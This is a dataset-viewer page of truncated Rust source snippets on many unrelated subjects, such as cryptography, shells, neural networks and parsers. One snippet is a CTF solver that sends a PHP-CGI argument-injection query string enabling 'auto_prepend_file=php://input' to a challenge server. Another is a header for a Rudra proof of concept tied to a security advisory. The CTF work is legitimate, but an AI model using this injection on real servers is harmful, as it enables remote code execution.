text stringlengths 8 4.13M |
|---|
// Copyright 2019 The Tari Project
// SPDX-License-Identifier: BSD-3-Clause
//! This module contains implementations using the Ristretto curve.
#[cfg(feature = "bulletproofs_plus")]
pub mod bulletproofs_plus;
pub mod constants;
pub mod pedersen;
mod ristretto_com_and_pub_sig;
mod ristretto_com_sig;
pub mod ristretto_... |
extern crate dirs;
use std::collections::hash_map::RandomState;
use std::collections::HashMap;
use std::env;
use std::fs;
use std::io::Error;
use std::os::unix::process::ExitStatusExt;
use std::path::PathBuf;
use std::process::ExitStatus;
use crate::utils::get_histfile_path;
type Builtin = fn(Vec<String>) -> Result<... |
use rstest_test::{Project, Stringable, TestResults, assert_not_in, sanitize_name, testname};
use lazy_static::lazy_static;
use std::path::{Path, PathBuf};
use temp_testdir::TempDir;
pub fn resources<O: AsRef<Path>>(name: O) -> PathBuf {
Path::new("tests").join("resources").join(name)
}
fn prj(res: impl AsRef<Pa... |
use kagura::prelude::*;
use std::collections::VecDeque;
pub struct CmdQueue<M, S> {
payload: VecDeque<Cmd<M, S>>,
}
impl<M, S> CmdQueue<M, S> {
pub fn new() -> Self {
Self {
payload: VecDeque::new(),
}
}
pub fn enqueue(&mut self, cmd: Cmd<M, S>) {
self.payload.push... |
use rand;
use rand::Rng;
use rand::distributions::normal::StandardNormal;
use nalgebra::{DMatrix, DVector, IterableMut};
/// Artificial Neural Network
///
/// This struct represents a simple Artificial Neural Network (ANN) using
/// feedforward and backpropagation. It uses Stochastic Gradient Descent(SGD)
/// and a si... |
use scoped_threadpool::Pool;
use spiral::ChebyshevIterator;
use crossbeam::atomic::AtomicCell;
use crossbeam_channel::bounded;
use crate::camera::*;
use crate::scene::*;
use crate::shared::*;
/// Coordinates for a block to render
pub struct RenderBlock {
pub block_index: u32,
pub x: u32,
pub y: u32,
... |
//! This module defines various traits required by the users of the library to implement.
use core::borrow::Borrow;
use core::fmt::Debug;
use core::ops::{Add, AddAssign, Mul, MulAssign, Neg, Sub, SubAssign};
use merlin::Transcript;
use rand::{CryptoRng, RngCore};
/// Represents an element of a prime field
pub trait Pr... |
use std::collections::{BTreeMap, HashSet};
use std::path::PathBuf;
use super::errors::*;
use token;
pub type Pos = (PathBuf, usize, usize);
pub type Token<T> = token::Token<T, Pos>;
#[derive(Debug, PartialEq, Clone)]
pub struct FieldInit {
pub name: Token<String>,
pub value: Token<Value>,
}
#[derive(Debug, P... |
pub mod utils;
pub mod base64;
pub mod xor;
pub mod hex; |
use git2;
use regex;
// const SEMVER_FORMAT: &'static str = "v{MAJOR}.{MINOR}.{PATCH}";
//
const REFSPECS: &'static str = "refs/tags/*:refs/tags/*";
const SEMVER_REGEX: &'static str = r"v(?P<MAJOR>\d+).(?P<MINOR>\d+).(?P<PATCH>\d+)";
lazy_static! {
static ref RE: regex::Regex = regex::Regex::new(SEMVER_REGEX).unwr... |
use crate::{
color,
math::{vec2, Rect, Vec2},
texture::{draw_texture_ex, DrawTextureParams, Texture2D},
time::get_frame_time,
};
#[derive(Clone, Debug)]
pub struct Animation {
pub name: String,
pub row: u32,
pub frames: u32,
pub fps: u32,
}
pub struct AnimatedSprite {
texture: Text... |
#[doc = "Reader of register SPINLOCK30"]
pub type R = crate::R<u32, super::SPINLOCK30>;
impl R {}
|
use crate::shader::*;
use crate::cast_slice::cast_slice;
use crate::resources::GraphicResourceManager;
use crate::vec2::*;
use std;
use std::any::Any;
use bitflags::bitflags;
/*/// Represents the type of update that is expected to be applied to the geometry when an Item's
/// update_geometry function is called.
pub ... |
use std::collections::HashMap;
use std::sync::RwLock;
use exonum::blockchain::config::ValidatorKeys;
use exonum::crypto::PublicKey;
#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq, Hash, Ord, PartialOrd)]
pub struct NodeKeys {
pub consensus: PublicKey,
pub service: PublicKey,
}
impl From<V... |
use std::io::{self, BufRead};
fn main() {
let mut positions = [0, 0, 0, 0, 0];
let mut trees = [0, 0, 0, 0, 0];
let slopes = [(1,1), (3,1), (5,1), (7,1), (1, 2)];
for (line_num, wrapped_line) in io::stdin().lock().lines().enumerate() {
let line = wrapped_line.unwrap();
for (slope, (x, y... |
impl Solution {
pub fn is_monotonic(a: Vec<i32>) -> bool {
let n = a.len();
let (mut inc,mut dec) = (true,true);
for i in 0..n-1{
if a[i] > a[i + 1]{
inc = false;
}
if a[i] < a[i + 1]{
dec = false;
}
}
... |
// Copyright (c) The Starcoin Core Contributors
// SPDX-License-Identifier: Apache-2.0
use anyhow::Result;
use starcoin_crypto::HashValue;
use starcoin_state_api::{
ChainStateReader, ChainStateService, StateNodeStore, StateView, StateWithProof,
};
use starcoin_statedb::ChainStateDB;
use starcoin_types::{
acces... |
use crate::Client;
use storm::{BoxFuture, Error, Result};
use tiberius::{Config, SqlBrowser};
use tokio::net::TcpStream;
use tokio_util::compat::TokioAsyncWriteCompatExt;
use tracing::instrument;
pub trait ClientFactory: Send + Sync + 'static {
fn create_client(&self) -> BoxFuture<'_, Result<Client>>;
/// Ind... |
// q0032_longest_valid_parentheses
struct Solution;
impl Solution {
pub fn longest_valid_parentheses(s: String) -> i32 {
let ss = s.as_bytes();
let slen = ss.len();
if slen < 2 {
return 0;
}
let mut valid_pos = vec![];
let mut i = 0;
while i < sl... |
// Copyright (c) 2019 Chaintope Inc.
use log::Level::Trace;
use log::{log_enabled, trace};
use serde::Deserialize;
use tapyrus::Address;
use crate::errors::Error;
use tapyrus::blockdata::block::Block;
use tapyrus::consensus::encode::{deserialize, serialize};
#[derive(Debug, Deserialize, Clone)]
pub struct GetBlockch... |
use super::packet::Packet;
/// Represents a group of packets accociated with one
/// connection or interaction.
pub struct Stream {
pub packets: Vec<Packet>
}
impl Stream {
/// Creates a new Stream
pub fn new() -> Stream {
Stream {
packets: vec![],
}
}
/// Creates a new... |
use crate::*;
use crate::attributes::parse_optional_attributes;
use nom::IResult;
use std::fmt;
/// A Single Sdp Message
#[derive(Debug, PartialEq, Clone)]
pub struct SdpOffer {
pub version: SdpVersion,
pub origin: SdpOrigin,
pub name: SdpSessionName,
pub optional: Vec<SdpOptionalAttribute>,
pub a... |
use super::{OpIterator, TupleIterator};
use common::{CrustyError, Field, PredicateOp, TableSchema, Tuple};
use std::collections::HashMap;
/// Compares the fields of two tuples using a predicate.
pub struct JoinPredicate {
}
/// Nested loop join implementation.
pub struct Join {
/*
op: PredicateOp,
left_inde... |
use crate::math::reducers::{reducer_for, Reduce};
use crate::math::utils::run_with_function;
use nu_protocol::ast::Call;
use nu_protocol::engine::{Command, EngineState, Stack};
use nu_protocol::{Category, Example, PipelineData, ShellError, Signature, Span, Value};
#[derive(Clone)]
pub struct SubCommand;
impl Command ... |
mod block;
mod blocks;
mod options;
mod packet;
mod reader;
pub use self::block::Block;
pub use self::blocks::*;
pub use self::options::{
comment, custom_bytes, custom_private_bytes, custom_private_str, custom_str, end_of_opt, opt,
Opt, Options,
};
pub use self::packet::Packet;
pub use self::reader::{mmap, ope... |
// 1. Function Pointers
/// Unlike closures, fn is a type rather than a trait,
/// so we specify fn as the parameter type directly rather
/// than declaring a generic type parameter with one of
/// the Fn traits as a trait bound.
pub fn add_one(x: i32) -> i32 {
x + 1
}
pub fn do_twice(f: fn(i32) -> i32, arg: i32)... |
// Returns 0-9 for each digit, most significant first
fn get_digits(mut n: u32) -> [u8; 6] {
let mut digits: [u8; 6] = [0u8; 6];
for i in digits.iter_mut().rev() {
let digit = n % 10;
*i = digit as u8;
n = (n - digit) / 10;
}
digits
}
fn main() {
let mut count = 0;
'loo... |
use std::io;
use std::mem;
pub fn get_flag(flag: u8, offset: u8) -> io::Result<bool>
{
if offset >= 8 {
return Err(io::Error::new(io::ErrorKind::Other, "offset must be lesser than 8"));
}
Ok((flag & (1 << offset)) != 0)
}
pub fn set_flag(flag: u8, offset: u8, value: bool) -> io::Result<u8>
{
if... |
pub mod title;
pub mod course;
pub enum Content {
TITLE(title::Title),
COURSE1(course::Course),
COURSE2(course::Course),
COURSE3(course::Course),
COURSE4(course::Course),
COURSE5(course::Course),
COURSE6(course::Course),
}
pub struct Scene {
content: Content,
next_sc... |
// cargo-deps: reqwest = "0.8.5"
extern crate reqwest;
use reqwest::{Client, Url};
fn main() {
const URL: &str = "http://ctfq.sweetduet.info:10080/~q12/index.php";
let mut url = Url::parse(URL).unwrap();
const QUERY: &str = "-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input";
url.set_quer... |
//! Maths formats parsers and emitters.
#[cfg(feature = "mathml")]
pub mod mathml;
use std::io::{BufRead, Write};
use ast::Node;
use error::*;
pub trait Format {
fn read<R>(read: &mut R) -> Result<Node>
where R: BufRead;
fn write<W>(node: &Node, write: &mut W) -> Result<()>
where W: Write;
}
|
/// Formatting macro for constructing `Ident`s.
///
/// <br>
///
/// # Syntax
///
/// Syntax is copied from the [`format!`] macro, supporting both positional and
/// named arguments.
#[macro_export]
macro_rules! format_ident {
($($fmt:tt)*) => {
$crate::Ident::new(format!($($fmt)*))
};
}
|
use std::collections::HashMap;
use std::fmt;
use indexmap::IndexMap;
use serde::de::{
Deserialize, DeserializeOwned, Deserializer, IntoDeserializer, MapAccess, SeqAccess, Visitor,
};
use serde::ser::{Serialize, Serializer};
use self::de::{Error as DeError, ValueDeserializer};
use self::ser::ValueSerializer;
pub ... |
pub mod behaviour;
pub mod manifest;
pub mod params;
pub mod utils;
|
// Copyright (C) 2015-2021 Swift Navigation Inc.
// Contact: https://support.swiftnav.com
//
// This source is subject to the license found in the file 'LICENSE' which must
// be be distributed together with this source. All other rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ... |
extern crate ordered_iter;
mod ordered_vec;
use std::borrow::Borrow;
pub use ordered_vec::OrderedVec;
const GROWTH: usize = 2;
const L0_SIZE: usize = 64;
const L1_SIZE: usize = GROWTH * L0_SIZE;
const L2_SIZE: usize = GROWTH * L1_SIZE;
#[derive(Copy, Clone, Debug)]
pub enum Op<T> {
Value(T),
Delete,
}
... |
use crate::{
cmd::*,
result::Result,
traits::{TxnEnvelope, TxnFee, TxnSign, B64},
};
#[derive(Debug, StructOpt)]
/// Onboard a given encoded validator staking transaction with this wallet.
/// transaction signed by the Helium staking server.
pub enum Cmd {
Create(Box<Create>),
Accept(Box<Accept>),
... |
pub fn collatz(n: u64) -> Option<u64> {
if n <= 0 {
None
} else {
let mut current_n = n;
let mut steps = 0;
while current_n != 1 {
if current_n % 2 == 0 {
current_n = current_n / 2;
} else {
current_n = current_n * 3 + 1;
... |
/*
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT license.
*/
use bytemuck::{cast_slice, Pod};
use diskann::{
common::{ANNError, ANNResult, AlignedBoxWithSlice},
model::data_store::DatasetDto,
utils::{copy_aligned_data_from_file, is_aligned, round_up},
};
use std::co... |
fn main(){
let x=43;
let y=x;
println!("x:{},y:{}",&x,&y);
}
|
use combine::{parser, Parser};
use combine::combinator::{optional, ParserExt, sep_by, many, many1};
use combine::combinator::{chainl1, between, choice, sep_end_by};
use util::join;
use super::Block;
use super::parse_html_expr;
use super::token::{Token, ParseToken};
use super::token::TokenType as Tok;
use super::token... |
extern crate chrono;
use chrono::prelude::*;
/// # Module for working with the date of birth.
/// A simple structure with the chrono::Date<Utc> field and the methods
/// of working with this date.
/// The module `user` uses the `chrono` module
/// [Chrono]: https://crates.io/crates/chrono
///
/// ## Examples
///
/// ... |
impl Solution {
pub fn merge(intervals: Vec<Vec<i32>>) -> Vec<Vec<i32>> {
if intervals.len() == 0 {
return vec![];
}
let mut xs = intervals.clone();
xs.sort_by(|a, b| a[0].partial_cmp(&b[0]).unwrap());
let mut res: Vec<Vec<i32>> = vec![];
let mut prev = v... |
#![cfg_attr(not(any(feature = "sha-1", feature = "sha-2")), allow(unused))]
use std::fmt::{self, Debug, Formatter};
use hmac::digest::block_buffer;
use hmac::digest::core_api::{
AlgorithmName, BufferKindUser, CoreProxy, FixedOutputCore, UpdateCore,
};
use hmac::digest::crypto_common::BlockSizeUser;
use hmac::dige... |
use super::addr::Address;
use super::{bitmap, cell::Header};
use core::alloc::Layout;
use std::alloc::{alloc, dealloc};
/// Block size must be at least as large as the system page size.
pub const BLOCK_SIZE: usize = 16 * 1024;
/// Single atom size
pub const ATOM_SIZE: usize = 16;
/// Numbers of atoms per block
pub con... |
fn next_prime(primes: &mut Vec<u32>) -> u32 {
let mut prime_candidate = primes[primes.len() - 1] + 2;
loop {
if !primes.iter().any(|x| prime_candidate % x == 0) {
return prime_candidate;
}
prime_candidate += 2;
}
}
pub fn nth(n: u32) -> u32 {
let n = n + 1;
let ... |
use std::{
io::{self, Write},
path::PathBuf,
};
use rand::Rng;
use serde::Deserialize;
pub(crate) use apache_common::ApacheCommon;
pub(crate) use ascii::Ascii;
pub(crate) use datadog_logs::DatadogLog;
pub(crate) use dogstatsd::DogStatsD;
pub(crate) use fluent::Fluent;
pub(crate) use json::Json;
pub(crate) use... |
// Copyright (c) The Starcoin Core Contributors
// SPDX-License-Identifier: Apache-2.0
pub use block_executor::block_execute;
pub use executor::*;
pub use starcoin_transaction_builder::{
build_accept_coin_txn, build_transfer_from_association, build_transfer_txn,
build_transfer_txn_by_coin_type, create_signed_t... |
use aoc_runner_derive::{aoc, aoc_generator};
#[aoc_generator(day12)]
fn parse_input_day11(input: &str) -> Result<Vec<String>, String> {
Ok(input.lines().map(|l| l.to_owned()).collect())
}
fn rotate_left(facing: &mut [isize; 2], amount: isize) {
match amount {
90 => {
let tmp = facing[0];
... |
use super::credentials::Credentials;
use super::errors::FirebaseError;
use super::sessions;
use rocket::{http::Status, request, Outcome, State};
pub struct ApiKey(pub sessions::user::Session);
impl<'a, 'r> request::FromRequest<'a, 'r> for ApiKey {
type Error = FirebaseError;
fn from_request(request: &'a re... |
use super::*;
pub fn ty(input: Input) -> IResult<Type> {
var_type
.or(infer_type)
.or(fn_type)
.or(paren_type)
.or(tuple_type)
.parse(input)
}
pub fn ascription(input: Input) -> IResult<Ascription> {
let (input, colon) = colon.parse(input)?;
let (input, ty) = ty.par... |
use ash::version::*;
use ash::extensions;
use std::marker::PhantomData;
use std::ops::Deref;
pub struct SafeSwapchain<'device, I: InstanceV1_0 + 'device, D: DeviceV1_0 + 'device> {
swapchain: extensions::Swapchain,
phantom_instance: PhantomData<&'device I>,
phantom_device: PhantomData<&'device D>
}
impl<'... |
// Copyright (c) 2016, <daggerbot@gmail.com>
// This software is available under the terms of the zlib license.
// See COPYING.md for more information.
use std::cell::RefCell;
use std::collections::VecDeque;
use std::rc::Rc;
use device::{Device, DeviceBridge, DevicePriv};
use error::Result;
use event::{Even... |
use std::env;
use std::io::Error as IOError;
use std::io::Read;
use std::io::Write;
use std::fs::File;
mod datafile;
mod huffmantree;
mod byteweight;
mod compression;
mod byteconvert;
use datafile::DataFile;
use huffmantree::HuffmanTree;
pub const APP_NAME: &'static str = "huffman";
type Compress = bool;
type Filep... |
pub mod dfa;
pub mod nfa;
pub mod re;
|
//! A representation of a gentoo atom specification
/// A Use flag constraint on a Gentoo Atom Specification
#[derive(Debug, Clone)]
pub struct UseSpec {
pub(crate) modifier: Option<String>,
pub(crate) flag: String,
pub(crate) suffix: Option<String>,
}
/// A Gentoo Atom Specification
#[derive(Debug,... |
// namespacing
use core::fmt;
use lazy_static::lazy_static;
use spin::Mutex;
use volatile::Volatile;
// color byte
#[allow(dead_code)]
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[repr(u8)]
pub enum Color {
Black = 0,
Blue = 1,
Green = 2,
Cyan = 3,
Red = 4,
Magenta = 5,
Brown = 6,
Lig... |
use core::cell::Cell;
use core::ops::Range;
use quickcheck::{Arbitrary, Gen};
use crate::parser::Parser;
use crate::span::Span;
pub use TestExpr::*;
#[derive(Clone, Debug, PartialEq)]
pub struct TestValue;
#[derive(Clone, Debug, PartialEq)]
pub struct TestError;
#[derive(Clone, Debug)]
pub struct TestConfig {
... |
// use mongodb::{bson::doc, sync::{Client, Collection}};
use mongodb::{Client, Collection, Database, bson::doc};
use serde::{Deserialize, Serialize};
#[derive(Debug, Serialize, Deserialize)]
struct ShortUrl {
index: i64,
url: String,
}
#[derive(Debug, Serialize, Deserialize)]
struct Status {
last_index: i... |
use nu_engine::CallExt;
use nu_protocol::ast::{Call, PathMember};
use nu_protocol::engine::{Command, EngineState, Stack};
use nu_protocol::{
Category, Config, Example, ListStream, PipelineData, ShellError, Signature, Span, SyntaxShape,
Value,
};
#[derive(Clone)]
pub struct Format;
impl Command for Format {
... |
//! An optional implementation of serialization/deserialization.
use super::LinkedHashSet;
use serde::de::{Error, SeqAccess, Visitor};
use serde::ser::SerializeSeq;
use serde::{Deserialize, Deserializer, Serialize, Serializer};
use std::fmt::{Formatter, Result as FmtResult};
use std::hash::{BuildHasher, Hash};
use std:... |
/*
* Copyright (C) 2019-2022 TON Labs. All Rights Reserved.
*
* Licensed under the SOFTWARE EVALUATION License (the "License"); you may not use
* this file except in compliance with the License.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed... |
use hyper::header::{Headers, Cookie,SetCookie};
use cookie::Cookie as CookieObj;
use std::collections::HashMap;
use std::marker::{Sync,Send};
use iron::prelude::*;
use iron::{status,AfterMiddleware};
use iron::modifiers::Header;
use iron::typemap::{TypeMap, Key};
use persist::State as PersistState;
use std::fmt;
use u... |
use crate::view::post_process_effect;
use crate::view_models::PostProcessEffects;
use crate::view::shader_utils;
use web_sys::{WebGlProgram, WebGl2RenderingContext, WebGlTexture};
pub struct Vignette
{
effect_type: PostProcessEffects,
running_time: f32,
max_running_time: f32,
}
impl Vignette
{
pub fn... |
#[cfg(feature = "value")]
use super::super::Enumerate;
use super::super::{
error::{ErrorKind, Result},
Context, Idx,
};
#[cfg(feature = "value")]
use super::Type;
#[cfg(feature = "value")]
use value::{Map, Number, Value};
pub trait FromDuktape<'de>: Sized {
fn from_context(ctx: &'de Context, index: Idx) ->... |
use glib::object::IsA;
use Terminal;
pub trait TerminalExtManual: 'static {
#[cfg(any(feature = "v0_46", feature = "dox"))]
fn event_check_regex_simple(&self, event: &mut gdk::Event, regexes: &[&Regex], match_flags: u32) -> Option<Vec<GString>>;
}
impl<O: IsA<Terminal>> TerminalExtManual for O {
/// Checks each re... |
use std::collections::HashMap;
use toml::value::Table as TomlTable;
#[derive(Clone, Debug)]
pub struct Env(HashMap<String, String>);
impl From<Option<TomlTable>> for Env {
fn from(env: Option<TomlTable>) -> Self {
let mut data = HashMap::new();
if let Some(env) = env {
env.into_iter()... |
pub trait RandomSource {
fn set_seed(&mut self, seed: i64) -> ();
fn consume(&mut self, n: i32) -> ();
fn next_int(&mut self) -> i32;
fn next_int_max(&mut self, max: i32) -> i32;
fn next_long(&mut self) -> i64;
fn next_float(&mut self) -> f32;
fn next_double(&mut self) -> f64;
}
pub struct LegacyRandomSource {
... |
//
// Copyright 2021 The Project Oak Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law o... |
#![feature(lang_items)]
#![feature(core_intrinsics)]
#![feature(const_fn)]
#![feature(asm)]
#![feature(optin_builtin_traits)]
#![feature(decl_macro)]
#![feature(never_type)]
#![feature(ptr_internals)]
#![feature(panic_implementation)]
#![feature(panic_handler)]
#![feature(nll)]
#![feature(exclusive_range_pattern)]
#![f... |
// This file is part of Substrate.
// Copyright (C) 2017-2020 Parity Technologies (UK) Ltd.
// SPDX-License-Identifier: Apache-2.0
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// ht... |
use std::f64::NAN;
use {PoincareLine, PolarCoord};
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct PoincareCoord {
pub x: f64,
pub y: f64,
}
impl PoincareCoord {
pub fn origin() -> PoincareCoord {
PoincareCoord::new(0.0, 0.0)
}
pub fn null() -> PoincareCoord {
PoincareCoord::new(NAN, NAN)
}
pub fn ne... |
#[doc = "Register `DDRPHYC_ZQ0CR1` reader"]
pub type R = crate::R<DDRPHYC_ZQ0CR1_SPEC>;
#[doc = "Register `DDRPHYC_ZQ0CR1` writer"]
pub type W = crate::W<DDRPHYC_ZQ0CR1_SPEC>;
#[doc = "Field `ZPROG` reader - ZPROG"]
pub type ZPROG_R = crate::FieldReader;
#[doc = "Field `ZPROG` writer - ZPROG"]
pub type ZPROG_W<'a, REG,... |
//! This project is used for explaining filtering in frequency domain. Here, we
//! have a digital input signal as the sum of two sinusoids with different
//! frequencies. The complex form of this signal is represented with s_complex
//! array in main.c file. Also we have a digital filter represented with h array
//! g... |
use crate::{Coord, YELLOW};
use opengl_graphics::GlGraphics;
use piston::RenderArgs;
#[derive(Debug, Copy, Clone)]
pub struct Food {
coord: Coord,
color: [f32; 4],
size: f64,
}
impl Food {
pub fn new(coord: Coord) -> Self {
Food {
coord,
color: YELLOW,
size:... |
extern crate docopt;
#[macro_use]
extern crate may;
#[macro_use]
extern crate serde_derive;
// use std::time::Duration;
use std::io::{Read, Write};
use docopt::Docopt;
use may::net::{TcpListener, TcpStream};
const VERSION: &str = "0.1.0";
const USAGE: &str = "
Tcp echo server.
Usage:
echo [-t <threads>] [-p <por... |
// Copyright (c) 2021 Thomas J. Otterson
//
// This software is released under the MIT License.
// https://opensource.org/licenses/MIT
pub mod constants {
/// Pin assignment for input pin 0.
pub const I0: usize = 9;
/// Pin assignment for input pin 1.
pub const I1: usize = 8;
/// Pin assignment for... |
use crate::BigInt;
use rand::{CryptoRng, RngCore};
pub fn sample(bit_size: usize) -> BigInt {
if bit_size == 0 {
return BigInt::zero();
}
let bytes = (bit_size - 1) / 8 + 1;
let mut buf: Vec<u8> = vec![0; bytes];
rand::thread_rng().fill_bytes(&mut buf);
BigInt::from(&*buf) >> (bytes * 8... |
/*!
```rudra-poc
[target]
crate = "kekbit"
version = "0.3.3"
[[target.peer]]
crate = "tempdir"
version = "0.3.7"
[report]
issue_url = "https://github.com/motoras/kekbit/issues/34"
issue_date = 2020-12-18
rustsec_url = "https://github.com/RustSec/advisory-db/pull/706"
rustsec_id = "RUSTSEC-2020-0129"
[[bugs]]
analyze... |
#[doc = "Register `RCC_RTCDIVR` reader"]
pub type R = crate::R<RCC_RTCDIVR_SPEC>;
#[doc = "Register `RCC_RTCDIVR` writer"]
pub type W = crate::W<RCC_RTCDIVR_SPEC>;
#[doc = "Field `RTCDIV` reader - RTCDIV"]
pub type RTCDIV_R = crate::FieldReader;
#[doc = "Field `RTCDIV` writer - RTCDIV"]
pub type RTCDIV_W<'a, REG, const... |
use crate::connection::AxisScale;
use crate::plot::plotters_backend::{Colors, DEFAULT_FONT, POINT_SIZE, SIZE};
use crate::plot::LineCurve;
use crate::report::ValueType;
use plotters::coord::{AsRangedCoord, Shift};
use plotters::prelude::*;
use std::path::PathBuf;
pub fn line_comparison(
colors: &Colors,
... |
use std::error::Error as StdError;
use std::fmt;
use std::io;
use std::ops::{Range, RangeTo};
use super::grid::Grid;
/// Function capable of parsing cells, given a `&str`.
pub type CellParserFn = Fn(&str) -> Result<Option<usize>, Box<StdError>>;
/// Reads iterator of lines to construct a `Grid`.
///
/// # Examples
/... |
mod event;
mod tcpdiag;
mod cli;
mod table;
use cli::CLI;
use event::{Event, Events};
use std::{error::Error, io};
use termion::{event::Key, input::MouseTerminal, raw::IntoRawMode, screen::AlternateScreen};
use std::panic::{self, PanicInfo};
use backtrace::Backtrace;
use tui::{
backend::TermionBackend,
Termina... |
use crate::*;
pub enum Event {
Platform(platform::PlatformEvent),
Input(input::InputEvent),
PreRunPlaceholder,
ProcessFrame,
}
|
// Generated by `scripts/generate.js`
use std::os::raw::c_char;
use std::ops::Deref;
use std::ptr;
use std::cmp;
use std::mem;
use utils::c_bindings::*;
use utils::vk_convert::*;
use utils::vk_null::*;
use utils::vk_ptr::*;
use utils::vk_traits::*;
use vulkan::vk::*;
use vulkan::khr::{VkTransformMatrix,RawVkTransformM... |
use super::point::Point;
use super::vector::Vector;
pub struct Ray {
pub origin: Point,
pub direction: Vector
}
impl Ray {
pub fn new(origin: Point, direction: Vector) -> Ray {
Ray {
origin: origin,
direction: direction
}
}
}
|
use crate::lib::environment::Environment;
use crate::lib::error::DfxResult;
use clap::Clap;
/// Forces unpacking the cache from this dfx version.
#[derive(Clap)]
#[clap(name("install"))]
pub struct CacheInstall {}
pub fn exec(env: &dyn Environment, _opts: CacheInstall) -> DfxResult {
env.get_cache().force_instal... |
use std::{collections::HashSet, io::prelude::*};
use aoc_2020::day_01::*;
fn main() {
let filename = std::env::args().nth(1).unwrap();
let file = std::fs::File::open(filename).expect("Couldn't open input file");
let input: HashSet<i64> = std::io::BufReader::new(file)
.lines()
.map(|line| l... |
#[derive(Debug, PartialEq)]
pub enum LaunchType {
Man, // 直接人間が起動させた場合
Daemon, // cron処理でpcが起動させた場合
Stop, // PortSnippetを停止する
Restart, // PortSnippetを再起動する
Help, // help
}
struct Params {
man: String,
daemon: String,
stop: String,
restart: String,
help: String,
}
con... |
use super::{ItemBase,Intrinsics};
/// generic item for inventory
///
/// optionally you can build a custom item, see below example
/// consider using an enum as well as a struct
/// this example uses an enum:
/*
#[derive(PartialEq,Debug,Clone)]
enum Item {
Potions(Potion),
}
/// we need to impl intrinsics so in... |
use crate::import::*;
pub struct EHandler
{
receiver: UnboundedReceiver<Event>,
// Automatically removed from the DOM on drop!
//
_listener: EventListener,
}
impl EHandler
{
pub fn new( target: &EventTarget, event: &'static str, passive: bool ) -> Self
{
// debug!( "set event handler" );
let (sender, re... |
use raytracer::ray::{ray_color, Ray};
use raytracer::utils::Vec3;
const WIDTH: usize = 200;
const HEIGHT: usize = 100;
fn main() {
println!("P3\n{} {}\n255", WIDTH, HEIGHT);
let lower_left_corner = Vec3::new(-2.0, -1.0, -1.0);
let horizontal = Vec3::new(4.0, 0.0, 0.0);
let vertical = Vec3::new(0.0, 2.... |
pub fn is_prime(n: u64) -> bool {
if n <= 3 {
return true;
}
if n % 2 == 0 || n % 3 == 0 {
return false;
}
let mut i = 5;
while i * i <= n {
if n % i == 0 || n % (i + 2) == 0 {
return false;
}
i += 6;
}
true
}
|
extern crate shared;
use shared::triangles::Triangles;
fn factors(x: usize) -> Vec<usize> {
let mut factors: Vec<_> = vec![];
for i in 1..(x as f64).sqrt() as usize {
if x % i == 0 {
factors.push(i);
factors.push(x/i);
}
}
factors
}
fn main() {
let result = ... |
#[macro_export]
macro_rules! page_view {
($($t:ty)*) => ($(
impl Renderable<$t> for $t {
fn view(&self) -> Html<Self> {
::seo::set_title(&self.get_title());
::seo::set_description(&self.get_description());
::seo::set_url(&self.get_route().to_absolu... |
use std::old_io as io;
fn main() {
let dna = io::stdin().read_line().ok().expect("");
for l in dna.graphemes(true).rev().map(replace) {
print!("{}",l);
}
}
fn replace(s: &str) -> &str {
match s {
"A" => "T",
"T" => "A",
"C" => "G",
"G" => "C",
_ => s,
}
} |
//! The Node struct is a conveniance wrapper around the Transport and SessionManager
//! implementations. Currently it just handles ingesting and transmitting data, although
//! it might make sense in the future to split these up into seperate concepts. Currently
//! the only coupling between TX and RX is the node ID, ... |
use std::io::{self, Cursor, Seek, SeekFrom};
use byteorder::{BigEndian, ReadBytesExt};
use bytes::Bytes;
use snafu::{ResultExt, Snafu};
use crate::byte_buffer::{ByteBufferError, ByteBufferRead};
use crate::compression_type::{CompressionType, UnknownCompression};
use crate::encoding_type::{EncodingError, EncodingType}... |
extern crate askama_escape;
#[macro_use]
extern crate criterion;
use askama_escape::escape;
use criterion::Criterion;
criterion_main!(benches);
criterion_group!(benches, functions);
fn functions(c: &mut Criterion) {
c.bench_function("toString 1 bytes", format_short);
c.bench_function("No Escaping 1 bytes", n... |
// ===============================================================================
// Authors: AFRL/RQQA
// Organization: Air Force Research Laboratory, Aerospace Systems Directorate, Power and Control Division
//
// Copyright (c) 2017 Government of the United State of America, as represented by
// the Secretary of th... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.